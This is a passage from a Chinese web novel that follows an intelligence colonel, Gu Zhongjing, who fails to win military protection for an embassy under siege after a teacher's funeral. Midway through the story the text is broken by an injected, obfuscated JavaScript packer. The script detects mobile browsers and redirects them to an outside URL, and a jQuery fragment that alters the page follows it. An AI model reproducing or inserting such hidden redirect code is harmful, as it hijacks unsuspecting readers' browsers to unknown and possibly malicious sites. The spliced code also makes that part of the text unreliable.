道,试图将虔诚的人们指引到一个遥不可及的净土。然而,对于站在角落里的顾梓聿来说,这一切都显得那么荒诞可笑。对他而言,悲伤并非可以用虔诚的辞藻或仪式来填补,真正的哀痛是一种冰冷、沉重的孤寂。 他只想逃离这一切,而所有人都低着头,聆听着悼词,那些关于灵魂得以安息、尘世苦难终结的辞藻听起来那么遥远,遥远得几乎像是某种虚妄的安慰,每一个词句都在讽刺着现实——可他不信,他什么都不信。不会再有什么来世、天堂,死亡就是一切的结局,最终的终点。一个人一旦离开,就再也不会回来了。那些所谓的祝祷、那些温柔的劝慰,都无法抚平他心里的痛苦和巨大的空洞。 老年大学合唱团推举出的代表激动地落泪:“…吴老师,您怎么能就走了呢,我们还相约要在夕阳路上结伴同行!您作为一个音乐家,国家一级指挥,为了提高我们这群纯业余的老年人的水平,每一次排练,您不仅耐心细致地讲解乐谱的每一个音符、节奏、旋律、音乐表现的主题,还介绍了许多音乐方面的知识和故事,让我们这些退休的老同志得到了从未有过的艺术熏陶!” “在您的耐心指导和精心雕琢下,这几年来合唱团的演唱水平有了很大的提高。我们举办了两届《银龄之声》音乐会;参加了“永远的辉煌”第十二届全国老年合唱大赛;在您的带领下,我们还参加了慰问驻岛部队的演出。在您已经病重的时候,您还依旧撑着病体带着我们参加了“乐与情”合唱交流音乐会的演出…” 学生乐团大提琴首席低沉的声音似真似幻,叫人听不真切:“去年,在我们乐团的联欢会上,我们还朗诵了一首诗歌’吴老师,我们爱您’,表达了我们全体团员对吴老师的感激和热爱,吴老师听后,激动地举起双手,高喊:’我也爱你们!’。这场面还历历在目,仿佛就在昨天……您爱音乐胜过一切,师母平常老劝您多休息,可您全身心扑在音乐教育事业上。您是拼命三郎,一有重大演出,就没日没夜地忙,经常熬夜,又没法按时吃饭,吴老师,请您在天堂要好好休息啦!” 顾梓聿低下头,他轻抚着左臂上别着的那一块黑纱,暗自自责:连师母和嘉佳姐都如此坚强,他为何这样懦弱,连代表乐团为老师致辞都做不到!他心里有太多太多的话,却一句都说不出,只能坐在这里,任由愧疚羞耻之情咬噬着他的内心。 八年了。 八年前,他还是个阴郁的小孩,来到一个陌生的城市,周围都是陌生的人,只有手边的小提琴,是过去给他留下的唯一一个纪念品。八年间,吴宏礼见证了他的成长,给他指引方向,可如今,老师再也不会站在他面前,用那双饱含期待与鼓励的眼睛看着他,指点他,就算是发脾气也好,让他知道,他还在。 他的人生里没有太多亲人,而吴老师,就像他的爷爷一样。 他悲伤得发狂,却只能死死掐着自己,不让自己失态。他痛恨自己的软弱,痛恨自己什么都做不了,甚至连一句像样的告别都没来得及说出口。 如果再见一面就好了。 如果能再一次站在老师面前,让他看看自己如今的模样,让他听听自己如今的琴声。 告诉他,自己已经不再是当年那个讨厌拉音阶的小孩了,告诉他,自己已经可以独当一面了——可惜,没有如果。死亡的残酷在于,它让一切变得不可挽回。 顾梓聿低下头,嗓子眼里泛起一阵苦涩。他甚至不敢看老师的遗像,那张熟悉的脸在黑白色调下显得更加遥远。他忽然想起,很多年前,老师曾经拍了拍他的头,笑着说:“你啊,总是想太多,以后无论遇到什么事,都别忘了初心。” 准备梅纽因的时候,他曾无数次幻想过,进了决赛后,老师会如何,是不是能给出一句夸赞? 等到最后拿了第一名,他却发现,那一刻已经失去了所有意义。 他再也等不到那句夸奖了。 泪水终于漫过眼眶,他闭上眼,死死咬紧牙关。悲痛、愧疚、无力交织在一起,压得他喘不过气。他伸手捂住脸,不愿让任何人看到自己此刻狼狈的模样。 吴老师被安葬在三一堂的后园。墓穴早已准备好,宋熙和和吴嘉佳作为扶棺者,顾梓聿浑浑噩噩同姜明珺一起搀着师母,一步一趋,直至他亲手将一抔冰凉潮湿的泥土置入墓穴时,他终究没有再落一滴泪。 21. 乌头马角 顾仲景在葬礼后接回了顾梓聿,望着汽车后视镜里仍旧带着黑纱、一言不发、脸颊烧得通红的顾梓聿,顾仲景心里叹了口气。这样脆弱的顾梓聿,令他想起了十年前那个阴郁肃杀的冬天。顾梓聿在那个冬天失去了双亲,而他也在那个冬天失去了自己的挚友,以及…爱慕的人。 那天是个阴天,厚重的云层压的低低的,寒风刺骨,像刀锋般割裂着空气——帝都的隆冬总是难捱。为了躲避浓重的雾霾,街上的行人纷纷把自己捂得严严实实,行色匆匆。 顾仲景这几天患上了气管炎,连简单地呼吸都能让他喘不上气,帝都的鬼天气实在折腾得他不轻。慢条斯理地喝了一碗黄芪山药粥,电视里播放的早间新闻引起了他的注意。 “环球新闻,斯堪拉当地时间报道——” “华纳帝国驻斯堪拉大使馆遭武装抗议者围攻。” “斯堪拉本地时间早晨8点,华纳帝国驻斯堪拉大使馆发生严重安全事件。大使馆被一群武装抗议者围困,目前大使馆周边局势紧张,且抗议者人数不断增加。根据现场消息来源,双方的冲突已经持续了数个小时,并且交火不断加剧。” “大使馆外的街道已被封锁,周围区域实施了紧急管制。据了解,抗议者主要由当地激进团体组成,他们对华纳帝国最近的外交政策表示强烈反对。抗议者手持武器,已与驻地安保人员发生数轮激烈交火。到目前为止,尚无官方确认伤亡人数。” “华纳帝国外交部已就此事件发表声明,表示大使馆正在采取一切措施确保外交人员安全,并正在与斯堪拉政府进行紧急磋商。外务大臣也在第一时间召集紧急会议,讨论如何应对这一局势,并防止事态进一步升级。” “据可靠消息,斯堪拉当局表示,已经调动了足够的警力,密切关注大使馆安危与双方局势,并希望通过和平方式解决此次抗议行动。” 新闻视频里,斯堪拉的首都街头弥漫着紧张氛围,华纳帝国的大使馆外,数十名身着黑色衣物、蒙住头脸、手持武器的抗议者聚集在大使馆周围,口号声此起彼伏,情绪激烈。抗议者手中持着标语,一些人挥舞着国家旗帜,甚至有些人还携带着木棒、石块,甚至自制的火焰瓶发起攻击。门前的安保人员显得有些不堪重负。大使馆外的防护栏已经遭到破坏,玻璃窗破裂的声音不时传来。一些抗议者试图闯入大使馆,当地警方则用警棍和催泪瓦斯进行反击,但在数量上严重劣势,很快就被压制。 已交火…长达数个小时? 顾仲景感到一阵胸闷,气息不自觉地变得急促起来。猛喘了一阵,他推开了勤务兵的搀扶,喊到:“备车!去 ‘银眼’!” 银眼——华纳帝国安全局,存在于帝国的阴影之中。它的职责范围从未公开过,连大部分帝国高层都不清楚这个组织的具体运作。银色代表冷静、精准,而眼睛象征着无所不见、无所不知。安全局如同银色的眼睛,冷静地盯视每一个潜在的威胁,确保帝国的安全和利益。 此刻,设立在冬宫西侧裙楼的帝国安全局指挥中心里一片阴郁。32岁的上校顾仲景在他的办公室内大发雷霆,据说几个情报处的头头都被骂得狗血淋头,至少是有人亲眼目睹了顾上校摔东西,这对于上校平时一向示人以温文尔雅稳重自持的形象可是颇为不符啊。 “…帝国养你们这群人是干什么吃的!斯堪拉的新闻我今天早上竟然不是从情报处的例报而是从电视新闻上看到!武装抗议!实弹攻击!综合情报处的反应速度居然还不如那些狗仔!” 帝国安全局一直秉持着效率至上的原则,然而蹊跷的是,这次大使馆遭遇武装围攻,几乎没有任何预兆。虽然顾仲景并没有直接控制外交事务,但作为帝国安全局的行动指挥官,常年面对各种重大危机,他理应对这种安全事件了如指掌。而现在,却没有半点风声传到他耳中—— 绝对有人在故意隐瞒,否则,他怎么可能如此被动,甚至被当作局外人? 他的下属一定已经接到了命令,但他们却没有提前报告给他。 顾仲景气的话都说不顺,摸出两片药干咽了,一边的情报处处长连忙小意地送上水,顾仲景接过一饮而尽,面色狠戾: “十五,不,十分钟,把战略分析报告放到我桌上,我要知道具体细节,那些叛乱分子都有什么武器,有多少人,大使馆的防备力量情况,评估威胁等级。” “要是做不到,”他把杯子往墙上一砸,瓷片飞溅,清脆的碎裂声激得所有人背心一冷,顾仲景一字一句,“…就自己看着办吧。” 情报处处长的表情有些为难,他低下了头,声音微弱:“指挥官,我们收到的紧急指示是,交由外交部处理。” “局长的意思是,尊重他国主权,以免加剧事态并引发外交纠纷。外交部已经通过紧急渠道向斯堪拉政府发出强烈抗议,要求保护大使馆的安全,并释放因抗议被扣押的外交人员。” “强烈抗议?”顾仲景听到这句话,忍不住冷笑,“你们是说,外交部想自己处理这场武装冲突,而不让帝国安全局介入?” 他心中的怒火已经到了极点,手指在桌面上重重敲击。“你们觉得外务部的口才能解决这样的军事冲突?还是你们认为可以靠几份书面公文解决掉大使的安危?” “我明白您的愤怒。”中年官员低声道,“但这是局长的决定。” 顾仲景沉默片刻,但眼底的冷光却更加刺骨:“我明白。就算这件事现在交给外交部,但我们该做的准备也要做,以防万一。就按我说的做,把所有信息情况汇总,战略报告还是要交给我,剩下的我来解决。” “是!” 一群人快速退了出去,副处恭敬地把门带上,方才小声询问同样面色阴沉的处长:“头,咱们真要出报告?局长都说了放手,看指挥官的样子像是想军事干预…” 处长一巴掌扇在倒霉的副处脑门上:“神仙打架,小鬼遭殃,咱们做好该干的就行了,少废话!” 眼看着那些蠢货满脸惶恐地回去工作,顾仲景疲惫地揉了揉颈椎,没有片刻休息,迅速进入到处理危机的模式中:外交部的反应迟缓,军事部门未见动作,这背后显然是有某种更高层次的博弈。他清楚,这场危机已经远超了表面的冲突。 他并不打算坐等上级的授权了,直接拿起话筒:“加密卫星电话,给我接帝国驻斯堪拉使馆大使办公室。” “信号无异常,安全装置连通,通话连接中…” 标记视频通话安全的绿灯亮起,顾仲景挺直脊背,上身前倾,急切地盯着屏幕。 终于,学长熟悉的面容出现。等不及问句好,顾仲景首先注意到背景音中有稀稀拉拉不断的枪声,他着急地问道:“大哥,你那里怎样?大家都好吗?” 屏幕中的大使虽然面色沉重,但依然保持着职业化的冷静。他察觉到顾仲景话语中的焦虑,略微停顿了片刻,然后才回答: “我们现在一切正常,暂时没有被直接攻击。抗议者大概不超过50人。他们大喊大叫,朝空中开枪。吓死大家了,但也只是惊吓。大家都在室内,我们的安全防御工事还是挺可靠的。斯堪拉政府也派遣了军警增援,但抗议行动并未平息,反而在社交媒体的煽动下愈演愈烈。我们被困在大使馆内,所有进出的道路都被封锁了。情况相当复杂,但至少目前我们还在安全区域。” “不是说已交火数个小时么?”顾仲景深知这位兄长的脾性,他知道,唐维均的镇定并不意味着什么,反倒是背景音中那零星的枪声让他心头一沉——这绝不是巧合,这说明抗议者的暴力行为已经开始升级,局势完全可能失控。 “在此之前没有发生任何类似于抗议的先兆吗?” “没有。可能是昨天在斯堪拉北部发生的’无人机空袭事件’惹恼了他们。当地媒体捏造了假新闻,说被炸死的都是无辜的平民。之前的交火也没有造成伤亡,不过斯堪拉军队应该已经控制住混乱局面了。” “无人机空袭?不是我签字授权的,我也没有看到关于这个行动的报告啊。” 隐约感到一丝不对劲,顾仲景此时却顾不上这么多,“可能是当地行动部队的人,这些人总是这样,先上车后补票,我这次一定要好好地整顿一番。不过,这种事总会快速恶化,我觉得你还是最好歇一个外交长假吧。具体手续不用操心,我会尽快为你办妥。” “多谢你的好意,但我不能这么做。”唐维均笑着宽慰这个满脸都是关切担忧的青年,他微敛双眼,“一出事就逃跑?那可不是我的工作准则。更遑论我还代表着外交部的权威和帝国的尊严。” “哥,那至少让晴姐和小曜安全回来。我马上派人去接。他们现在在官邸吗?” “他们…”唐维均罕见地笼上了一脸忧色,勉强笑到,“不要担心,他们跟我在一起。我会保护好他们的。” “是么…”看着画面里学长不自觉低垂的眼尾,他猛地站起身,嘴角微微紧抿,他勉强抑制住从心底泛起的不安,沉声道:“我会想办法保护你的安全,包括动用我的私人力量!” “噢,这并不必要,这不是你的责任。”唐维均笑着摇摇头,但显然,局势的严峻让他的脸上掩饰不住的忧虑一闪而过:“指挥官,不是我不信任你的能力,但你也清楚,帝国官方的立场——我们不能直接采取行动。而且……你和我都知道,作为外交使团的人员,我们很难被允许采取任何过激的反击行动。” “这由我说了算。”顾仲景闻言,脸上的冷静几乎瞬间被愤怒取代。“如果不采取行动,整个使馆都可能沦为牺牲品!你认为这还能通过什么外交手段解决吗?”他愤愤地道,显然已经不想再等上级的授权。他在心里早已做出了决定——既然官方的不作为束缚了手脚,那他唯一能做的,就是通过自己的私人力量快速进行干预。 “保护好自己,坚持住,给我几个小时,我会尽快给你们提供支援!”顾仲景冷静地下达指令,他的语气已恢复理智,但眼中那股急切与决心并未减少。 唐维均一噎,即使在屏幕那头,也能感受到顾仲景语气中的坚定,他暗自感叹道,当年那个混世魔王,如今也成长为了一个行事果断、能承担责任的男人了啊,他于是释然而笑:“是,指挥官,你尽快行动,我们保持联系。” 顾仲景先切断了通讯信号,情报处副处长带着几张纸神色惶惶地进入办公室。顾仲景劈手夺过来,映入眼帘的是成串的数据与对比图表。他不耐烦看,直接问到:“威胁评估结果呢?” “情况仍在持续恶化。” “让所有人原地待命,提高警惕。每半小时报告一次即时情况,十分钟后安排我与斯堪拉办事处代表以及海军舰队反恐安全团队队长会谈。” 顾仲景叹了口气,倒进座椅里,闭上眼,疲倦地揉捏着眉心。他摁下传唤铃,副官陈珊妮走了进来。 “除了海军,唐维均那里还有什么保护措施?” “军部已经动用了一些力量,但他们并不能保证长期驻扎,更不要说如果情况恶化后的增派军力了。并且,唐先生的办公室至今仍未申请紧急撤离。” 身材妖娆火爆的九头身美女陈珊妮并不只是徒有美丽外表的花瓶,相反地,出身于特种行动部门的她,接受过严格的情报分析、渗透侦察以及心理战训练。她精通三门主要外语,能流畅使用多种华纳帝国地方方言,同时拥有信息网络安全与计算机科技和心理学的硕士学位以及合法行医执照。危机时刻,她甚至能够驾驶直升机和高速突击艇。 “唐维均是我的学长,我了解他。当年学生运动时,他面对着坦克都照样无所收敛的,那样的人,绝不能相信他的话。你告诉我,在不对外宣布进入紧急情况、不发布正式作战命令的条件下,是否有可能增派武装力量?” “有,但必须有傅劲先的签字,他是拨款委员会的主席。” 傅劲先?!要取得他的同意,比登天还难!至少帝国宇航局早已经有载人航天飞船降落在月球上,而至今,还没有人能说服那个顽固的老家伙改变他的决定。顾仲景再次疲倦地揉了揉眉心,又扳了扳手指——疼得他龇牙咧嘴。 “如果您想要和他会面,我们至少需要提前一个月和他的办公室进行预约。” “…很显然我们没有一个月的时间。我是说,他喜欢什么?古董?莫奈?…拍他的马屁有用吗?” 陈珊妮顶着一副认真思考的神情,却忍不住腹诽道:噢…指挥官的表情如此严肃…这意味着他真的会忍着作呕的痛苦去卑躬屈膝地讨好一位、甚至不是选美冠军而是满脸皱褶的老头子吗? “…忘掉你头脑中那些荒谬的愚蠢的想法。我只是在说,人人都是有弱点的。” “嗯…也许这里确实有个主意。”陈珊妮小心翼翼地看向那个比她年纪还小的长官,心里盘算着这个计划实施的可能性:“傅劲先今天下午按惯例会去听戏。” 顾仲景年少时被养在老人身边,被宠成了一个十足的风流纨绔,走马章台,花鸟器乐无所不精。他极爱繁华,爱金屋古玩,爱烈酒佳肴,爱骏马美人,兼以琴棋书画、诗文论经,皆有所成,但最出风头的,还要数梨园行当。 他当年在宫廷晚宴上玩票的一曲南音《潇湘泣玉》,不知道迷晕了多少贵族少女,就连当时的老皇帝也都为其所惑,竟当众赏赐了他宫内一处院子以便其时时献艺。直到顾仲景洗去满脸脂粉油彩,众人才恍然大悟,最后还是由王后亲自出面求情,盛怒的顾元帅才没有当场发作这个“败坏家声的不孝子”。 世所共知,傅家的家主傅劲先平时好听的就是那一口原汁原味儿的地水南音。只不过,彼时顾仲景还年轻,不过是个富家浪荡公子哥,学戏唱曲儿,还可以称作是年少轻狂,所以即使放荡不羁也不会太过于引人诟病。但如今,他已经是上校,受军纪辖制 … 顾上校第三次揉了揉自己的眉心,一把扯开了系得严严实实的风纪扣。扣子极无辜地崩开,啪哒一声掉在地上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266202|166578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,陈珊妮目不斜视地捡起扣子放在桌上,临走时还贴心地带上门。 当天下午,傅劲先惯常会去的那间老聃茶馆里,来了个不速之客。 厚重的红木屏风后,青铜香炉里升腾着缕缕白烟,氤氲着淡淡檀香。傅劲先自顾自坐在那里泡茶。一泡君山银针下肚,往日里那个熟悉的唱腔还没响起。正当他有些不耐之际,一个清越明亮的嗓音破风穿云而来: “…王听罢,更伤悲,谁无死别与生离?非是寡人抛别你,只为势穷无计效于飞。今日帐前休讲闲风月,待我共娘赋下呢首断肠书:力拔山兮气盖世,时不利兮——骓不逝。堪埋血泪如山积,踏碎梨花片——片——飞。” 这正是顾仲景的霸王别姬。他的行腔宛转圆润,叮板扎实细腻,吞吐跌宕自然流畅,尾音拖腔一气浑成,余音绕梁,堪称是绝世好音,自然是傅劲先之前捧的那个伶人所远远不能及的。 傅劲先打耳一听就听出了些端倪。虽然顾仲景当初那曲潇湘泣玉已经是十五、六年前的事了,少年与成年男子的嗓音还是有那么些不同的,但当时那样的惊鸿一翩,仍是令傅劲先印象深刻,难以忘怀,以至于这个成年男子的声音一出来,他就知道是谁来了。 傅劲先一笑,能让帝国安全局的指挥官来屈尊唱戏,只怕要求的事也不简单。他半眯着眼,指尖在扶手上不急不缓地敲着节奏,脸上带着几分享受。 三弦与筝声仍旧,那撩人心痒的唱腔却停了。一个青年男子俊秀倜傥,大步流星走近来,已先爽朗笑道: “枉我唱的这样动情,莫非傅老只想白听,也不施舍些盘赏么?” “诶,顾指挥官的润资,我却是付不起的。” “在您面前,对我们这些小辈的,您随便指缝间漏些么,也尽够了。” 顾仲景极力做出一副谦卑的模样,躬身侍立在那里,也不坐下,就笑吟吟地望着傅劲先,心里却七上八下。 傅劲先不答话,只管自斟自饮,老神在在。顾仲景自知比不了他的耐心,于是大方放弃,亮出底牌:“帝国在斯堪拉的大使馆遇到麻烦了,您听说了吗? ” “哦,怎么?” “情况有点紧急,我们希望能得到您的同意,调动一小支机动部队到当地去保护大使及其他在岗的工作人员。 ” “我知道帝国现在不能明面上调动军队,但我们不能真的什么都不做。”顾仲景语气放缓,透着几分试探,“如果是‘私人力量’呢?如果是几个愿意‘护送物资’的士兵,借道第三国呢?” “啊啊,听起来很昂贵啊。” “只需要特种兵,训练有素的高素质单兵,50人就足够。” “不需要调动主力舰队,也不需要发布正式的作战命令。我要的,只是一支小规模的特种部队,在‘非官方’的情况下协助撤离。” 话说到这份上,傅劲先慢悠悠地又变出来第二只茶杯,也往其中斟了些茶水,示意顾仲景喝了:“我想你也明白,这支’小型部队’只能由帝国本土、且不能通过正常外交手段派遣。这意味着,他们只能被暗地遣送,通过空投方式——这可要调用很多军事人员,哈,这可不便宜。” “好吧,也许我该给您看看我的办公室发给您的报告,您看了吗?”顾仲景紧紧捏着茶杯,不能放下,也不能入口。他盯着傅劲先,企图用眼神来施加压力。 “您和我都清楚,使馆安保人员和当地军警撑不了多久。” “如果事情真的失控,我们能眼睁睁地看着使馆的外交人员被活生生困死在斯堪拉?我不是来危言耸听的,但这就是安全局专家们给的报告结论。我只问一句——帝国能接受使馆被攻陷、人员被屠杀的后果吗?” 傅劲先沉默了许久,桌上的指节敲击声缓缓停下,他没有正面回答:“这些后果都是你的推测,即使真有这样的后果,也不是由你来承担,枢密院、内阁、国防部,天塌下来有他们顶着。” 事实上,他今天早上刚参加的内阁紧急会议,结论是,公开派遣军事力量会被视为对斯堪拉的军事干涉,因此目前仍然是坚持用外交手段解决争端。外交部希望通过谈判解决问题,避免直接冲突。不能因为一时冲动,就让帝国陷入一场可能旷日持久的战争。 但他心里怀疑,得出这个结论是因为,在这些人看来,这场危机比它看上去更有价值。想象一下,一旦冲突升级到无法挽回的地步,可利用来做的文章可不是几个外交人员的价值可以比拟的。 “是,报告我看了,但答案是不。” 傅劲先眯了眯眼,一口回绝:“你以为我们的陛下登基这些年做的哪件事不需要花钱?至于唐维均?尽管我已经老的不记事了,但在我仅存的印象中,他还算是不堕文职的威风。这样程度的抗议远远不及当年英雄广场的坦克压阵吧?那时还是学生的他不也这样走过来了吗?年青人嘛,就是需要锻炼的机会。主会保佑他的。” 傅劲先混不在意地起身,但落下的话语却是斩钉截铁,毫无斡旋的余地。 这句话一出,顾仲景的心一冷。他这样费尽心思、放下身段来小意迎合,本来是想着,就算将来旁人知道,甚至传为笑柄都无所谓。脸面这种东西并不算什么,只是傅劲先不肯帮忙,唐维均那里情况又危急了数分。他如今眼看着这条路被堵死,心中竟有一分亲手将兄长推进绝地的不祥预感。 “…耽误您的时间了。”顾仲景望着老狐狸缓步远去的身影,不得不恭谨地弯腰致意,但心里早已骂翻了天:不就是因为在当年派系斗争中学长顶了傅劲先一回,这个老家伙居然在此刻如此不合时宜地挟私报复,置代表着帝国脸面的外交人员于不顾! 他气汹汹地把桌上茶水一气喝干,又一下砸碎了那个看似就十分贵重的紫砂壶。迎着茶馆主人和小厮战战兢兢的目光,他示意身后的陈珊妮扔了一叠现金过去。他今天这样一出,恐怕傅劲先以后都不会踏进这家茶馆一步了,这笔钱,好歹就当砸了他家生意的赔偿金吧。 这世道,谁都不容易啊!他走出院子时,只好这样安慰自己。 当说服傅劲先不起作用时,顾仲景第一时间就想到了一个“绝妙”的好主意:去说服傅劲先的上级。显然,傅劲先的上级只能是帝国的陛下。 作为一个正在服役的以服从为天职的帝国军人,这样明显犯禁的越级汇报毫无疑问地可以令顾仲景的仕途从此毁于一旦,轻则记过、降职,或调往边陲地区,重则可能因此被送上军事法庭,在接受一系列侦讯后,在巴尔摩德高塔监狱里六平米的小单间里终此一生。 顾仲景早已想到了这一点,所以他没有告诉任何一个人他的打算,当然包括他时任陆军总参谋长的亲大哥:开玩笑,若是让大哥察觉出些许端倪,恐怕他就别想着直着走出家门了,更遑论想办法解开这个困局。 他只是无法眼睁睁地看着唐维均,还有…晴姐,看着他们被围困、被威胁而束手无策。不管结果如何,他绝对不允许这样的事情发生! 22. 一语成谶 又是一个不眠的深夜,北风呼啸着,敲打着窗棂。大半个帝都都陷入了沉睡,但有一处地方却灯火通明,宛若白昼。 顾仲景直挺挺地立着军姿,接受着小皇帝的上下打量,仿佛又回到了新兵连的岁月。他尽量掩人耳目,闯进这宫闱深处来,到现在还没被赶出去,不过是靠着当年秋收大典狩猎祭上他曾经救下小皇帝的情分。到现在,他的背上还留着那只黑熊所赐予的丑陋扭曲的疤痕。 唐维均也曾经算是帝师,他曾教导过小皇帝一年又一个春天的国际关系。顾仲景只希望能凭着这点可怜的情分,勉强唤起小皇帝的同情和担忧。 然而,现在的陛下,早已不是当年那个年纪尚幼的五岁幼童,在登基大典上小心翼翼,甚至连用膳还要看他人颜色的无知稚儿了。 橙花味的香氛在灯光下弥漫着馥郁芬芳,顾仲景却觉得这甜腻的气味随着时间的流逝变得愈发粘稠,使他几乎要溺死在这里。他知道小皇帝对他还有点信任,而眼前的危局,让他无法顾及一切礼节:“陛下,时间不等人,请您指派增援吧!” “现在,这只是小规模的抗议,顾卿凭何认为会演变成大规模的暴动呢?”少年尚未变声的嗓音响起,稚嫩地,尾音还带了点撩人的绮丽,他抬头看向顾仲景,眼中闪烁着犹豫与困惑。 “驻斯堪拉大使馆的武官一直在和国防部保持联系,据他们评估,目前还没有必要动用军事力量进行干预。军事干预不是小事,帝国必须深思熟虑。顾卿,你人远在千里之外,竟比他们还更看得清事态走向?” “陛下,我经受过特种军事训练、参加过防恐行动,在安全局工作多年,曾被严格训练如何发现有可能引发超恶性事件的细微迹象。”顾仲景耐心地解释道。他知道,此刻是他所能抓住的最后的机会。他必须获得小皇帝的全部信任,而不仅仅是作为一个忠心可靠的部下。 “陛下,重点是组织。据我们的人观察分析,这些示威者之间有严密的组织,等级森严,阶级分明,上下级之间仅靠单线联系,做事的人永远不会看见下命令的人。但他们却从未给组织命名,也未声称任何组织或团体对此负责。再加上低调却火力十足的攻击,而新闻报道的覆盖面也在不断扩大,社交媒体的即时传播效应已经超出了我们的想象,这些示威者对于新闻价值的不断发酵显而易见是乐见其成的。” 正当小皇帝陷入深思时,一个温和的声音响起,“‘显而易见’?指挥官,陛下还年轻,这样的决策并非他一个人可以决定。今天首相召开的内阁紧急会议上,各位大人都各抒己见,但最后的决定还是稳重考量,静观其变。帝国政府已经决定不主动插手这起事件,你现在却要求贸然出兵?你是在说,帝国最高决策者们——一整个内阁,都是无用之人?” 顾仲景最不想见到的人还是出现了,他预先设下的障碍看起来并不能阻挡那个人的脚步。 周围的一切似乎都因为他的到来而变得静默。他迈步走进房间,每一步都如同踏着悠然的圣咏,轻盈而从容,像是漫步在一片无垠的空间里,一举手一投足,就散发出一种不容亵渎的神圣气息。 最终,他站定,微微垂下眼帘,低垂的睫毛遮住了他仿佛能穿透人心的眼睛。他的每一个动作、每一个呼吸都带着一种超越尘世的冷静与智慧,仿佛在向世人宣告——他并非来自这个平凡的世界,而是从遥远神域中降临的使者。 他就这样打断了帝国名义上的最高统治者和陆军上校、帝国安全局行动指挥官的私人谈话,还没有引起小皇帝的哪怕一丁点的不满。 “主教大人,您来了。”小皇帝起身虔诚地行了个教礼,而顾仲景也只得跟着把双手交叉放在胸前,行了一个非教徒的礼。 “愿主赐福于你。”赛尔维斯优雅地回礼。朴素的白色教袍穿在他身上有一种无法言喻的超凡脱俗,衣料如同水流般自然垂下,流畅且无一丝拖沓,衬托出他那种不可企及的气度。他的肤色苍白,仿佛长年未见阳光,反而增添了一分不食人间烟火的神秘感。他的笑容温和,却带着难以捉摸的深意,仿佛从未对任何事物产生过真正的情感波动。他的脸庞棱角分明,但又不失柔和,鼻梁挺拔,唇线优雅而精致,仿佛是造物主亲自雕刻出来的一般。 他轻轻抬起头,目光从远处的某个点回到此刻,声音柔和而有力,语调空灵地似乎是来自神的启示。 “指挥官,”他低声说道,语气如春风拂面,“在我们的一切行动之前,您首先要明白,所有的选择都必须经过深思熟虑。没有什么能比一颗清明的心更为重要。您现在的心,清明吗?” “‘显而易见’的是,那里肯定需要加强保护,但依我之见,目前并未有任何足以危害生命的安全威胁。要知道,这世界上任何大使馆的高墙之外都会有抗议活动。” “帝国没有立即派遣军事力量,而是通过外交渠道进行抗议,并且借助国际社会的压力对斯堪拉政府施压,这符合国际间通常的外交行为规范。在这类情况下,任何军事干预都可能引发更大范围的国际纠纷,因此更合适的反应是采取外交和经济手段。” 他又转向了小皇帝:“况且,陛下。帝国在阿瓦尔加海湾有海军基地,一旦情况恶化,特别行动部队可在九十分钟内赶到现场。” “没错,是九!十!分!钟!啊!”顾仲景忍不住咬牙切齿地重复道,“维持克制,等待局势发展——换句话说,这不就是让他们自生自灭吗!” “陛下,唐维均眼下不说是千钧一发,也是危在旦夕了。他不仅是您的臣子,外交部的脸面,他同时也是帝国的子民,帝国有义务,也有能力保护他!” 赛尔维斯柔和的声音再次响起,他的语气依然保持平和,似乎是在劝解而不是反驳:”陛下,指挥官说得对,唐维均是帝国的子民,但指挥官,作为一名陆军上校,你是否清楚,如果没有充分的理由,就派帝国的装甲部队进入斯堪拉国境线内,会给全世界一个怎样的错误讯号?尤其是在我们并没有准备好要打一场世界大战的前提下。” “作为军人,你的职责是服从命令,但现在的你,已经被私人感情冲昏了头脑,我能理解你的痛苦,但如果你站得更高一些,看看那本质,你会发现一切只是局部的痛苦,是为了更大的安宁与和平。我只想让你明白,神的旨意从不需要你我去质疑。” 顾仲景迎着他的目光,毫不退让:“陛下,您可以依赖赛尔维斯大人,也可以选择相信我。”他的声音冷得几乎让空气都凝固,“如果您不采取行动,您将再也无法做出真正属于自己的决定,而是永远活在他人的阴影下!” 小皇帝的目光闪烁不定,他低下头,似乎在思考赛尔维斯的忠告,又仿佛在为自己的决策做最后的权衡。 赛尔维斯嘴角带着温和的笑容,此时的他像是一位宽仁的导师,带着一种“为了更高的目的”的责任感,他没有理会顾仲景的无礼,而是转身看向小皇帝:“陛下,您在继承帝国的重任时,必须谨慎处理每一件事。您是否理解,放任武力冲突升级,可能会引发整个世界的政治动荡?这不仅仅关乎您的一项决定,而是关乎帝国的未来。” 小皇帝并未直接表态,但看起来他也并没有反对的模样,他只是坐在那里,端详着桌上那一瓶今晨刚刚剪下的白梅,而后突然出手,摘下一朵,将其揉的粉碎。 赛尔维斯略微弯下腰,拈起一片碎屑,眼中笑意柔和:“指挥官,你为何执迷不悟呢?”他说着,目光轻飘飘地扫过顾仲景,眼神并没有聚焦在他身上,语气带着一丝悲悯,“我真的不愿意看到你如此沉沦,只是你太过固执,神已经给予了你答案。人终究是无法逃脱命运的,我本希望你能明白这一点。” 他优雅地交叠双手,似乎不需要做更多解释:“陛下已经决定了,指挥官,请恕我直言,您恐怕不适合再久留了。” 顾仲景已然绝望了,他已经看不到还有什么出路,但仍然倔强地、试图最后一搏:“陛下,请您允许,下官建议为了安全起见将唐维均大使调回。” “不被允许。这甚至比派兵更糟。这相当于下战书。想象一下,我们曾与贵国有过亲密友好的外交关系,现在我们打算关闭大使馆,接回驻地大使,然后呢?国家大事可不是过家家。” 小皇帝若有所思,还没有发话,而赛尔维斯施施然插话,一如平常。 “请容许我的冒昧,但我认为您实际上有些言过其实。 ”顾仲景的怒火正在勃发,他受不了自己的努力就这样一败涂地,更受不了那个人这样理所当然平静嚣张地把兄长的生还可能再度降低。他按捺住自己的怒意,打算最后再争取一次。 赛尔维斯微微扬起嘴角,眼底闪烁着一丝冷意:“陛下,您并不需要再浪费时间了。局势已经如此紧张,我们不能做出错误的决策。” “主教大人说的有道理。顾卿,我不能签署调令。这事必须解决,但帝国的军队绝对不能插手。” 小皇帝抱歉地一点头,示意顾仲景可以出去了。 